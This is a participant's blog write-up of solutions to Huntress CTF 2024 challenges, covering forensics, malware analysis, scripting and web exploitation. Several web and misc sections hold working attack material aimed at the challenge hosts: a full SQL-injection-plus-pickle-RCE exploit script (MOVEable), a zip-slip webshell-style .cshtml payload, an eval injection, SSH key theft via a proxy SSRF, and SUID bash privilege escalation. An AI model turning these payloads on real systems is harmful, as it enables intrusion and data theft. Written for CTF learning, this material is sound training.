Huntress CTF 2024
This year, Huntress organized its annual Capture The Flag event in October to celebrate Cybersecurity Awareness Month. The event spanned the entire month and featured challenges in forensics, malware, OSINT, general tasks, and warm-up challenges. I participated with the No Man’s Root team. For our first time, we managed to rank 78th out of 3444 teams. In this post, I’ll share some of the solutions I completed—and there were quite a few!
The event included 71 tasks, of which I solved 46. I also want to thank everyone who supported me throughout, even though I haven’t mentioned them by name here. Below, I present my scoring statistics and our team’s results. For my first time really diving into a CTF from start to finish, I think I did quite well. The large number of unsolved tasks shown on the chart reflects the frustration that crept in at some point. I’m still clearly lacking proficiency in reverse engineering—despite having parts of the flag, I couldn’t determine their correct order (thanks for the support, lady_debug!).
TXT Message
Challenge Type: Warmups
Author: @JohnHammond
Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd…
The task description tells us there’s an additional, unusual entry in the DNS. Typically, when we want to add a custom value to our DNS records, we use a TXT record. Therefore, the first command I ran was dig -t txt +short ctf.games
. In response, I received the following entry: 146 154 141 147 173 061 064 145 060 067 062 146 067 060 065 144 064 065 070 070 062 064 060 061 144 061 064 061 143 065 066 062 146 144 143 060 142 175
. This looks like encoded text containing the flag. Without further ado, I used ChatGPT, which quickly provided me with the answer:
MatryoshkaQR
Challenge Type: Warmups
Author: @JohnHammond
Wow! This is a big QR code! I wonder what it says…?
The challenge included a PNG file with a QR code, shown below:
Scanning the QR code revealed data beginning with the phrase “PNG”. I suspected it was another image encoded in hexadecimal. Using the following script, I saved this data into a new PNG file:
encoded_string = (
"\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00'\\x00\\x00\\x00'"
"\\x01\\x00\\x00\\x00\\x00\\xa4\\xd8l\\x98\\x00\\x00\\x00\\xf5IDATx\\x9c\\x01\\xea"
"\\x00\\x15\\xff\\x01\\xff\\x00\\x00\\x00\\xff\\x00\\x80\\xa2\\xd9\\x1a\\x02\\x00"
"\\xbe\\xe6T~\\xfa\\x04\\xe4\\xff\\x0fh\\x90\\x02\\x00\\x1a\\x7f\\xdc\\x00\\x02"
"\\x00\\xde\\x01H\\x00\\x00\\xbe\\xd5\\x95J\\xfa\\x04\\xc2*\\x15`\\x08\\x00\\xff"
"\\x9d.\\x9f\\xfe\\x04\\xfd#P\\xc3\\x0b\\x02\\x97\\x0e:\\x07d\\x04/vIg\\x19\\x00"
"\\xbb\\xcd\\xf3-\\xd2\\x02\\xfb\\xd6d\\xb5\\x88\\x02E\\xc7^\\xdf\\xfc\\x00\\x84"
"\\xfb\\x13\\xf3J\\x02\\xfd\\x88a\\xefD\\x00\\xc8t$\\x90\\n\\x01\\xc7\\x01\\xee1"
"\\xf7\\x043Q\\x17\\x0cH\\x01\\xa5\\x03\\x1c6d\\x02\\r\\xf0\\xbfV$\\x00\\xcf\\x13"
"d3\\x06\\x01\\xee\\x08J\\xf5E\\x00\\x9b\\xee\\n\\xac\\xfa\\x01\\xea|\\xf2\\xe86"
"\\x04\\xb3\\xc9\\x84\\xf7\\xb4\\x02\\t\\x90U%\\x14\\x00\\xbf g\\xa5\\xee\\x02"
"\\xfbH\\xf1#4\\x00\\xff\\xa1!;\\x86\\x02\\x81VB\\xdf\\xfc\\x04>\\xb1s\\x00\\x10"
"\\x02\\xe4>\\xab-p\\x00\\xa2\\xc6\\xfe\\xf6\\xee\\x04\\x00\\x05\\xcbl5\\x02\\x1c"
"\\xfc\\x85;\\xd0\\x02\\xc2\\xfb\\xe6A\\x00\\x01\\xff\\x00\\x00\\x00\\xff\\xf9"
"\\xdb_g\\xf4\\x9a\\xddH\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82"
)
def decode_and_save(encoded_str, output_filename):
byte_data = bytes(encoded_str, "utf-8").decode('unicode_escape').encode('latin1')
with open(output_filename, 'wb') as file:
file.write(byte_data)
output_file = "output.png"
decode_and_save(encoded_string, output_file)
Running this code yielded another QR code:
Scanning it revealed the flag: flag{01c6e24c48f48856ee3adcca00f86e9b}
Base64by32
Challenge Type: Scripting
Author: @JohnHammond
This is a dumb challenge. I’m sorry.
The task included a base64by32.zip
file, which, after unpacking, revealed a text file encoded in base64. Using CyberChef, I repeatedly applied base64 decoding operations until I obtained the flag (probably up to 32 times!).
Obfuscation Station
Challenge Type: Forensics
Author: @resume
You’ve reached the Obfuscation Station! Can you decode this PowerShell script to find the flag?
The task included a Challenge.zip file, which, when unpacked, contained a PowerShell script named chal.ps1
. Here’s the script content:
(nEW-objECt SYstem.iO.COMPreSsIon.deFlaTEStREAm( [IO.mEmORYstreAM][coNVERt]::FROMBAse64sTRING( 'UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA') ,[io.COmPREssioN.coMpreSSioNmODE]::DeCoMpReSS)| %{ nEW-objECt sYStEm.Io.StREAMrEADeR($_,[TeXT.encodiNG]::AsCii)} |%{ $_.READTOENd()})| & ( $eNV:cOmSPEc[4,15,25]-JOin'')
First, I used CyberChef to improve the script’s readability by normalizing the case to lowercase:
Then, using a reversal script, I decoded the flag (it took a while to realize I was copying the base64 data incorrectly – I was copying only the lowercase characters instead of preserving the original format from the script):
import base64
import zlib
encoded_data = 'uzf19/ujv7bvuerlsuyvnk5nmtm3tu0zmdyxnjsxndcynjextdy2suu0ndritdwpvqia'
decoded_data = base64.b64decode(encoded_data)
decompressed_data = zlib.decompress(decoded_data, -15)
print(decompressed_data.decode('ascii'))
Decoded flag: b'$5GMLW = "flag{3ed675ef0343149723749c34fa910ae4}"'
Hidden Streams
Challenge Type: Forensics
Author: Adam Rice (@adam.huntress)
Beneath the surface, secrets glide, A gentle flow where whispers hide. Unseen currents, silent dreams, Carrying tales in hidden streams. Can you find the secrets in these Sysmon logs?
To solve the challenge, I used my favorite tool for searching Windows events, Chainsaw. Using the command chainsaw search 'powershell' -i Sysmon.evtx
, I listed all PowerShell-related events. Among them, I found an event containing additional content encoded in base64:
Decoded flag: flag{bfefb891183032f44fa93d0c7bd40da9}
Echo Chamber
Challenge Type: Scripting
Author: @JohnHammond#6971
Is anyone there? Is anyone there? I’m sending myself the flag! I’m sending myself the flag!
For this challenge, we received a pcap
file containing only ICMP packets. I noticed information being sent in the packet data. I filtered only the requests, saved the result as CSV, and then pasted it into CyberChef to decode it. Each character appeared duplicated around 40 times. After removing duplicates, I obtained the flag.
Decoded flag: flag{6b388a9117a7554d88bf384d7c73fd6e}
Keyboard Junkie
Challenge Type: Forensics
Author: @JohnHammond
My friend wouldn’t shut up about his new keyboard, so…
We received a pcap
file containing captured communication from a USB keyboard. After a few Google searches, I found a script to solve the task.
tshark -r ./keyboard_junkie -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > usbData
Zimmer Down
Challenge Type: Forensics
Author: @sudo_Rem
A user interacted with a suspicious file on one of our hosts. The only thing we managed to grab was the user’s registry hive. Are they hiding any secrets?
For this task, we received an NTUSER.DAT
file. Using Registry Explorer and the keyword flag
, I searched the registry, but the task creators made it a bit tricky by adding many “not the flag” entries. Searching nearby results, I found an entry named b62
that contained encoded content. After decoding it, I found the flag.
X-RAY
Challenge Type: Malware
Author: @JohnHammond
The SOC detected malware on a host, but antivirus already quarantined it… can you still make sense of what it does?
The task description mentioned that the file had been quarantined, so I assumed it was likely done by Windows Defender. First, I found a script to restore the file. Upon restoring, I found that it was an executable created in .NET.
Then, I decompiled the program using dotPeek. In the main code, I found two encoded values and a decoding operation. I copied the code and had ChatGPT convert it into Python. Running the modified script revealed the flag.
import sys
import codecs
def load(hex_string):
length = len(hex_string)
num_array = bytearray(length // 2)
for start_index in range(0, length, 2):
num_array[start_index // 2] = int(hex_string[start_index:start_index + 2], 16)
return num_array
def otp(data1, data2):
return bytearray(a ^ b for a, b in zip(data1, data2))
data1 = load("15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c")
data2 = load("73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41")
result = otp(data1, data2)
print(codecs.decode(result, 'utf-8'))
Decoded flag: flag{df26090565cb329fdc8357080700b621}
Strange Calc
Challenge Type: Malware
Author: @JohnHammond
I got this new calculator app from my friend! But it’s really weird; for some reason, it needs admin permissions to run??
As with every analyzed sample, I began by checking basic information about the exe file using PeStudio. I noticed that it was packed with UPX and created using AutoIt automation scripts.
After unpacking the file, I got an .au
script containing base64 encoding.
The decoded base64 content revealed a .jse
file. After deobfuscating it in CyberChef, I obtained JavaScript code, though for unknown reasons, the script didn’t reveal its actual content. ChatGPT quickly decoded it for me.
Sekiro
Challenge Type: Miscellaneous
Author: @HuskyHacks
お前はもう死んでいる
The goal of this task was to defeat the opponent as quickly as possible. After trial and error, observing the opponent’s behavior, I created a script that allowed me to win.
import pexpect
process = pexpect.spawn(f'nc challenge.ctf.games 32166')
try:
while True:
process.expect(r'Opponent move: (block|strike|advance|retreat)\r?\n')
print(process.before.decode('utf-8').strip())
opponent_move = process.match.group(1).decode('utf-8').strip()
print(f"Opponent move: `{opponent_move}`")
process.expect('Your move:')
if 'block' in opponent_move:
move = 'advance'
elif 'strike' in opponent_move:
move = 'block'
elif 'advance' in opponent_move:
move = 'retreat'
elif 'retreat' in opponent_move:
move = 'strike'
process.sendline(move)
print(f"Your move: {move}")
except pexpect.EOF:
print(process.before.decode('utf-8').strip())
Russian Roulette
Challenge Type: Malware
Author: @JohnHammond
My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :(
WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation, there is a real possibility that your VM may crash.
For this task, we received a Windows shortcut (.lnk) file that downloaded malware from the internet. The downloaded file was heavily obfuscated PowerShell script. Instead of manually analyzing it, which would take a lot of time, I used Any.Run to analyze it dynamically. After running the file and tracing the PowerShell calls, I found a base64-encoded value.I then used CyberChef to decode it, revealing another layer, this time encrypted with AES.After decrypting the AES layer, I obtained the flag.
The Void
Challenge Type: Warmups
Author: @JohnHammond#6971
When you gaze long into the void, the void gazes also into you…
Connecting to the task presented a black screen, darker than usual in the console.
I decided to redirect the entire input to a file. Opening the file in vi, I noticed characters resembling color codes used in bash.
nc challenge.ctf.games 30124 > aaa
Using the sed
command, I removed all colorization characters, which allowed me to retrieve the flag.
cat aaa | sed -r "s/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g"
Malibu
Challenge Type: Miscellaneous
Author: Truman Kain
What do you bring to the beach?
NOTE: Two things to remember for this challenge:
- This service takes a bit more time to start. If you see “Connection refused,” please wait a bit.
- The service won’t immediately respond or prompt you; it’s waiting for your input. If you just hit Enter, you’ll see what it is. Extra tip: once you know what the service is, try connecting in a better way. Then, use context clues and logical thinking based on its responses and the task description. No bruteforcing is necessary once you understand the infrastructure and enumerate. ;)
The task initially involved connecting to nc challenge.ctf.games 31426
. After running the command, I noticed that the service communicated via HTTP.I quickly used Burp Suite to learn more about the service. I observed a “Server” header, which hinted at the type of service being used.A quick Google search showed that it was a bucket-handling service available for Linux. After downloading the appropriate client from here, I started configuring the service. At this point, finding the bucket name was crucial since listing all buckets was disabled. The task description suggested “ctf” or “bucket” as possible names. Once I identified the correct bucket, I listed its contents. I found a large number of files, so I decided to download the entire bucket locally.Then, as usual, my first command was grep -r flag
, which immediately led me to the solution.
Plantopia
Challenge Type: Web
Author: @HuskyHacks
Plantopia is our brand new, cutting-edge plant care management website! Built for hobbyists and professionals alike, it’s your one-stop shop for all plant care management.
Please perform a penetration test ahead of our site launch and let us know if you find anything.
Username: testuser
Password: testpassword
After launching the application, a login panel appeared. I initially tried logging in with the provided credentials, but they didn’t work. So I started clicking through available links.It turned out the application didn’t verify access, and API documentation was available via Swagger. While examining available endpoints, I noticed they required an authorization token. At the top, I found an “Authorize” button, which showed details on building the token. Surprisingly, the token didn’t require a login and password as expected for this setup.I generated a timestamp with a future date, encoded it in base64, and found that the token worked, granting me API access.Next, I tested a request setting an email-sending command, which had simple validation. Once the command was successfully set, I had to send a request to execute it.Since this was a closed environment and I couldn’t use Burp Collaborator, I had to find another way to get the response.The application logs endpoint proved helpful. After a few attempts, I retrieved the flag.
HelpfulDesk
Challenge Type: Web
Author: @HuskyHacks
HelpfulDesk is the go-to solution for small and medium businesses needing remote monitoring and management. Last night, HelpfulDesk released a security bulletin urging everyone to patch to the latest version. Details were scarce, but it doesn’t seem good…
After accessing the application and reviewing the security bulletin, I noticed there was a new version available (1.2), while the deployed version was 1.1.I downloaded the file and tried to identify changed files using a simple diff
command. It quickly turned out the only significant change was in the HelpfulDesk.dll
file. Then, using the file
command, I verified the file type, revealing it was a .NET library.Using DotPeek, I decompiled both library versions, saving them to separate folders. Then, with WinMerge, I compared changes between versions. In SetupController.cs
, responsible for software configuration, the expression Trim('/')
was removed in the newer version.I decided to visit the suggested URL path. Entering /Setup/SetupWizard/
revealed the application’s setup panel, allowing me to set an administrator password.After setting my own password, e.g., admin:admin
, I successfully logged into the application and retrieved the flag.
Obtained flag: flag{03a6f458b7483e93c37bd94b6dda462b}
MOVEable
Challenge Type: Web
Author: @JohnHammond#6971
Ever wanted to move your files? You know, like with a fancy web-based GUI instead of just FTP or something?
Well, now you can, with our super secure app, MOVEable!
Escalate your privileges and find the flag.
This task probably took me the most time, and the exploit was definitely the most complex. The code for the application was provided, which allowed me to prepare the exploit and then execute it in the CTF environment. The first vulnerability I discovered was in the login process; it allowed executing “stacked queries,” enabling us to add arbitrary values to tables in the database. Just when I thought I had everything, I discovered a bug in the code that caused the file download functionality not to work.Upon closer inspection, I noticed that the file download function used pickle
– a known library that allows remote code execution. Now that I knew how to insert data into the database and execute code, I was missing one key thing: the server response.The application only returned a 500 error code on failure, without additional information. The solution was to communicate using session cookies. I managed to append any value to the cookie from the code level. However, the downside was that the appended cookie value had character limitations, so I had to reduce the number of characters to retrieve the entire communication.Next, I prepared the exploit. When I thought everything was ready and I just needed to query the database for the flag, I found that it wasn’t there. Returning to the task description, I noticed a hint about privilege escalation, meaning the flag was probably in the file system, likely in the /root
directory.The simplest way to escalate privileges was to use sudo
. Running sudo -l
showed what the user had access to. Fortunately, there was a NOPASSWD=ALL
entry, meaning sudo
could be used without a password – a common configuration mistake. Finally, I executed sudo cat /root/flag.txt
to retrieve the flag.
import requests
import pickle
import base64
import json
from itsdangerous import base64_decode
import random
import string
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
}
HOST = 'http://challenge.ctf.games:32154'
CMD = '''sudo cat /root/flag.txt'''
class RCE:
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return eval, (self.cmd,)
def init_session():
print('init session')
data = 'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2factivesessions%2f**%2f(sessionid%2c%2f**%2ftimestamp)%2f**%2fVALUES%2f**%2f(%5cf3c3b700-4339-45fc-bb32-45105d62a884%5c%2c%5c1729679958%5c)--&password=aa'
response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
if response.status_code != 302:
print('error')
print(response.text)
exit(-1)
def get_flag_length():
print('Get data length')
filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
pickled = pickle.dumps(RCE('''session.update({'flag3': len(base64.urlsafe_b64encode(os.popen("'''+ CMD + '''").read().encode()))})'''))
payload = base64.urlsafe_b64encode(pickled).decode()
print(payload)
data = f'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2ffiles%2f**%2f(filename%2c%2f**%2fdata%2c%2f**%2fsessionid)%2f**%2fVALUES%2f**%2f(%5c{filename}%5c%2c%5c{payload}%5c%2c%5c1729679958%5c)--&password=aa'
print(data)
response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
if response.status_code != 302:
print('error')
print(response.text)
exit(-1)
response = requests.get(f'{HOST}/download/{filename}/f3c3b700-4339-45fc-bb32-45105d62a884', headers=headers, verify=False, allow_redirects=False)
length = json.loads(base64_decode(response.cookies['session'].split('.')[0]))['flag3']
print(length)
return length
def get_flag(start, end):
print('Get data')
filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
pickled = pickle.dumps(RCE('''session.update({'flag3': base64.urlsafe_b64encode(os.popen("'''+ CMD + '''").read().encode()).decode()[''' + str(start) + ''':'''+ str(end)+''']})'''))
payload = base64.urlsafe_b64encode(pickled).decode()
data = f'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2ffiles%2f**%2f(filename%2c%2f**%2fdata%2c%2f**%2fsessionid)%2f**%2fVALUES%2f**%2f(%5c{filename}-{start}-{end}%5c%2c%5c{payload}%5c%2c%5c1729679958%5c)--&password=aa'
response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
if response.status_code != 302:
print('error')
print(response.text)
exit(-1)
response = requests.get(f'{HOST}/download/{filename}-{start}-{end}/f3c3b700-4339-45fc-bb32-45105d62a884', headers=headers, verify=False, allow_redirects=False)
part = json.loads(base64_decode(response.cookies['session'].split('.')[0]))['flag3']
print(part)
return part
init_session()
length = get_flag_length()
content = ""
for i in range(0, length, 10):
if i + 10 < length:
e = i + 10
else:
e = i + (length - i)
print(i, e)
try:
content += get_flag(i, e)
except:
pass
print(content)
print(base64_decode(content))
Backdoored Splunk II
Challenge Type: Forensics
Author: Adam Rice (@adam.huntress)
You’ve probably seen Splunk being used for good, but have you seen it used for evil? NOTE: The focus of this challenge should be on the downloadable file below. It uses the dynamic service that is started, but you must put the puzzle pieces together to retrieve the flag.
The task included a zip file containing the Splunk_TA_windows
package. After a short search, I found the original files available for download on this page. Using the diff
command, I identified the differences between the files. The most interesting change was a heavily obfuscated PowerShell script.Deobfuscating the script revealed a base64-encoded string, which decoded to an Invoke-WebRequest
command with a URL and a header.Executing the curl
command yielded the flag.
Stack It
Challenge Type: Reverse Engineering
Author: @sudo_Rem
Our team of security analysts recently worked through a peculiar Lumma sample. The dentists helping us advised us to floss at least twice a day to help out. They also gave us this weird file. Maybe you can help us out?
The task included a file, stack_it.bin
. Initial analysis showed it was an executable file with debug symbols removed.After running GDB and executing several instructions, the flag appeared in the EDX
register.
Zippy
Challenge Type: Web
Author: @HuskyHacks
Need a quick solution for archiving your business files? Try Zippy today, the Zip Archiver built for small to medium businesses!
The application provided by the organizers allowed uploading ZIP files, which were then extracted to a directory specified by the user.The application had several vulnerabilities. The first allowed overwriting files using the ZIP archive content, and the second was a path traversal vulnerability that allowed directory traversal to view arbitrary directories.
The application was built with .NET technology and supported dynamic compilation of .cshtml
files. I first created a .cshtml
page that would load the flag from a specified location, then used an enhanced version of the evilarc
script to create a ZIP file with the appropriate path.
@page
@using System.IO
@functions {
public string GetFileContent()
{
string filePath = "/app/flag.txt";
if (System.IO.File.Exists(filePath))
{
return System.IO.File.ReadAllText(filePath);
}
else
{
return "File not found.";
}
}
}
@{
ViewData["Title"] = "About";
var fileContent = GetFileContent();
}
<h2>Contents of /app/flag.txt</h2>
<pre>
@fileContent
</pre>
After uploading the payload, it overwrote the existing file responsible for displaying user information, thus displaying the flag.
PillowFight
Challenge Type: Web
Author: @HuskyHacks
PillowFight uses advanced AI/MLRegressionLearning* to combine two images of your choosing. *Note to investors: This isn’t technically true at the moment; we’re using a Python library, but please give us funding, and we’ll deliver it, we promise.
The web application was created to combine images.Besides the functions accessible via the GUI, it also allowed interaction through the API. In the API documentation, I noticed an additional eval_command
parameter.After sending a sample request, I discovered the software version in the response headers. Adjusting the command content revealed that the command result needed to create an object with a save
method.
Using the Pillow library documentation, I prepared a code snippet that, with a Python lambda function, created an object containing the save
method to read the flag from the system.
eval("type('A', (object,), {'save': (lambda self, fp, format=None, **params: fp.write(open(\"flag.txt\", \"rb\").read()) if hasattr(fp, 'write') else None)})()")
Permission to Proxy
Challenge Type: Miscellaneous
Author: @JohnHammond
Where do we go from here?
Escalate your privileges and find the flag in root’s home directory.
Yes, the error message you see on startup is intentional. ;)
The task involved a configured Squid proxy service. The task description and type of service suggested looking for SSRF vulnerabilities.After a few attempts, I identified the first open port – 22, where the SSH service was running.Using Corkscrew as a tunneling tool, I configured SSH to route through the Squid proxy. However, I still needed a private key and username to log into the service.
.ssh/config
host *
ProxyCommand corkscrew challenge.ctf.games 31619 %h %p
Patience was key here, as I eventually found a service on port 50,000 that allowed reading files from the server.The service responded very slowly, but in /home/user/.ssh/id_rsa
, I found and downloaded the private key.
![User’s RSA private key obtained.](/img/huntress-ctf-2024/Proxy3.png ‘User’s RSA private key obtained.’)
Next, I logged into the server using the previously prepared configuration. According to the task description, the next step was privilege escalation to root
. My first command was find / -perm /2000 -or -perm /4000 2>/dev/null
, which, to my surprise, listed the /bin/bash
binary.Using the /bin/bash -p
command, I escalated privileges and then read the flag from the root directory.
Time Will Tell
Challenge Type: Miscellaneous
Author: @aenygma
A side-channel timing attack.
Figure out the password in 90 seconds before the connection terminates.
The password is dynamic and changes every session.
For this task, we were provided with code, where the most interesting part was how it verified the password’s correctness. The application checked the password character by character, and when a character was correct, it performed “heavy calculations” by calling the sleep
function with a delay of 1.5 seconds.
import pexpect
import time
child = pexpect.spawn('nc challenge.ctf.games 32654', encoding='utf-8', timeout=10)
child.logfile = open("debug_log.txt", "w")
possible_chars = "0123456789abcdef"
password = ""
password_len = 8
child.expect("Figure out the password")
for i in range(password_len):
max_time = 0.19
correct_char = ''
for char in possible_chars:
guess = password + char + "x" * (password_len - len(password) - 1)
start_time = time.perf_counter()
child.sendline(guess)
try:
child.expect(": ")
elapsed_time = time.perf_counter() - start_time
output = child.before.strip()
print(f"Test: {guess}, time: {elapsed_time:.6f}, answer: {output}")
if elapsed_time > max_time:
max_time = elapsed_time
correct_char = possible_chars[possible_chars.index(char) - 1]
except pexpect.exceptions.TIMEOUT:
print(f"Timeout for char: {char}")
continue
password += correct_char
print(f"Found char: {correct_char} on {i}, current password: {password}")
print(f"Password: {password}")
child.sendline(password)
child.expect("flag:")
flag = child.before
print(f"Flag: {flag}")
child.logfile.close()
After writing the script, which worked correctly on my computer, I had to make some minor adjustments during flag retrieval to account for network latency.
Palimpsest
Challenge Type: Malware
Author: Adam Rice (@adam.huntress)
Our IT department was setting up a new workstation and encountered strange errors during software installation. The technician noticed an unusual scheduled task, luckily backed it up, and downloaded a few log files before wiping the machine! Can you figure out what’s going on? We’ve included the exported scheduled task and log files below.
The task provided .evtx
(Windows event logs) files and a configuration for the suspicious task.In the task file, we found a line:Querying the DNS server for TXT records, I received a message encoded in base64:After decoding the message, I obtained a PowerShell script.With experience showing that further deobfuscation could take time, I opted for dynamic analysis and ran the script in Any.Run. Tracing the calls revealed a script that did not execute due to missing MsInstaller
application logs (Application log).
The final deobfuscated script retrieved events related to MsInstaller with IDs from 40000 to 65000 and saved them to a file named flag.mp4
.
$fileStreamType = [System.IO.FileStream]
$instanceRange = 40000..65000
$filePath = Join-Path -Path $env:appdata -ChildPath "flag.mp4"
$fileStream = $fileStreamType::OpenWrite($filePath)
Get-EventLog -LogName "Application" -Source "Mslnstaller" |
Where-Object { $instanceRange -contains $_.InstanceId } |
Sort-Object Index |
ForEach-Object {
$data = $_.Data
$fileStream.Write($data, 0, $data.Length)
}
$fileStream.Close()
I had trouble adapting the script to work correctly, so I used chainsaw
and jq
tools. Using the commands below, I extracted the mp4 file.
chainsaw/target/release/chainsaw search 'Mslnstaller' logs/ --json -o "output.json"
jq -r '.[] | select(.Event.System.EventID >= 40000 and .Event.System.EventID <= 65000) | .Event.EventData.Binary | gsub("[\\n\\t ]"; "")' output.json | xxd -r -p > flag.mp4
The mp4 file contained the flag :)